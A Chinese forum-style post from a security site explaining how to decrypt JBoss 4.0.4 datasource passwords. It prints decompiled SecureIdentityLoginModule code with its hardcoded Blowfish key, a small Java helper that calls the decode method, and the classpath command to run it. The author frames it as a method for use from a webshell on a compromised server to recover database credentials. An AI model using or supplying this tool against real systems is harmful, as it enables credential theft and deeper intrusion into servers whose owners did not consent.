频道栏目
首页 > 安全 > 加密解密 > 正文
关于JBOSS解密数据库连接池的问题汇总小白贴
2013-12-30 08:38:00           
收藏   我要投稿
用了JDgui还有看了前辈门的解密方法我一个没成功过 
jboss下是可以对数据源密码进行加密的,相关的文章很多,我这里要讲的是如何破解 

jboss-4.0.4.GA为例,解密的原理很简单,先找到加密所使用的方法: 
java -cp "xxx.jar ……" org.jboss2.resource.security.SecureIdentityLoginModule 13456 加密方法 


好了,找到SecureIdentityLoginModule所在的包jboss-jca.jar,找到SecureIdentityLoginModule.class,稍稍反编译一下就全明白了,加密使用的是: private static String encode(String secret),自然解密的到是:
private static char[] decode(String secret) 
private static String encode(String secret) 
    throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException 
  { 
    byte[] kbytes = "jaas is the way".getBytes(); 
    SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); 

    Cipher cipher = Cipher.getInstance("Blowfish"); 
    cipher.init(1, key); 
    byte[] encoding = cipher.doFinal(secret.getBytes()); 
    BigInteger n = new BigInteger(encoding); 
    return n.toString(16); 
  } 

  private static char[] decode(String secret) 
    throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, BadPaddingException, IllegalBlockSizeException 
  { 
    byte[] kbytes = "jaas is the way".getBytes(); 
    SecretKeySpec key = new SecretKeySpec(kbytes, "Blowfish"); 

    BigInteger n = new BigInteger(secret, 16); 
    byte[] encoding = n.toByteArray(); 

    Cipher cipher = Cipher.getInstance("Blowfish"); 
    cipher.init(2, key); 
    byte[] decode = cipher.doFinal(encoding); 
    return new String(decode).toCharArray(); 
  } 

  public static void main(String[] args) 
    throws Exception 
  { 
    String encode = encode(args[0]); 
    System.out.println("Encoded password: " + encode); 
  } 
} 

好了加密解密参数都有了最关键的是如何在webshell执行看了大牛门的解密java我在线测试了一下不成功没有回显不知道是不是阉割版的 

byte[] kbytes = "jaas is the way".getBytes()  关键这个前面的大牛在7月份就爆出来了 

现在我说的是我的2B笨办法大家可以尝试一下 度娘第一页代码全都偏了我整理了一下 

建立文件   
jboss-4.0.4.GA\server\default\lib\A.java,内容: 
package org.jboss.resource.security; 看不懂的就是函数A的意思啦  直接贴代码就完了 
class A{     
    public static void main(String args[]) 
        throws Exception 
    { 
        SecureIdentityLoginModule seq = new SecureIdentityLoginModule(); 
         
        char[] decode = seq.decode(args[0]); 
        System.out.println("Haha, DEcoded password: " + new String(decode)); 
    } 
} 


再建立文件 
再建一个文件
SecureIdentityLoginModule.java:package org.jboss.resource.security; 

SecureIdentityLoginModule.java: 

package org.jboss.resource.security; 

class SecureIdentityLoginModule{ 
    static String encode(String s){ 
        return s;     
    } 
     
    static char[] decode(String s){ 
        return new char[100];     
    } 
} 

这个SecureIdentityLoginModule是可以单独编译的,然后把编译后的SecureIdentityLoginModule.class放到\jboss-4.0.4.GA\server\default\lib\org\jboss\resource\security 

最后一步,把编译好的A.class添加到jboss-jca.jar包中(作坏事前先备份)。 


调用方法: 
java -cp "D:\jboss-4.0.4.GA\lib\jboss-jmx.jar;D:\jboss-4.0.4.GA\lib\jboss-common.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar;D:\jboss-4.0.4.GA\server\default\lib\jbosssx.jar;D:\jboss-4.0.4.GA\server\default\lib\jboss-jca.jar" org.jboss.resource.security.A   加密字符串   linux下直接就是把D 改成/home/jboss-4.0.4.GA\lib\jboss-jmx.jar;  等等 我直接把这四个都打包到了本地直接本地假设java环境就可以了反正都是通用的  反正大牛讲的 
那个直接编译的我是用不成这个留帖子自己看  有需要的也可以辅助走哦
点击复制链接 与好友分享!回本站首页
相关TAG标签 小白 数据库 问题
上一篇:关于口令强度等级的设计
下一篇:由“正方”jiam、jiemi之逆向思及Base64之逆编码表
相关文章
图文推荐
文章
推荐
点击排行

关于我们 | 联系我们 | 广告服务 | 投资合作 | 版权申明 | 在线帮助 | 网站地图 | 作品发布 | Vip技术培训 | 举报中心

版权所有: 红黑联盟--致力于做实用的IT技术学习网站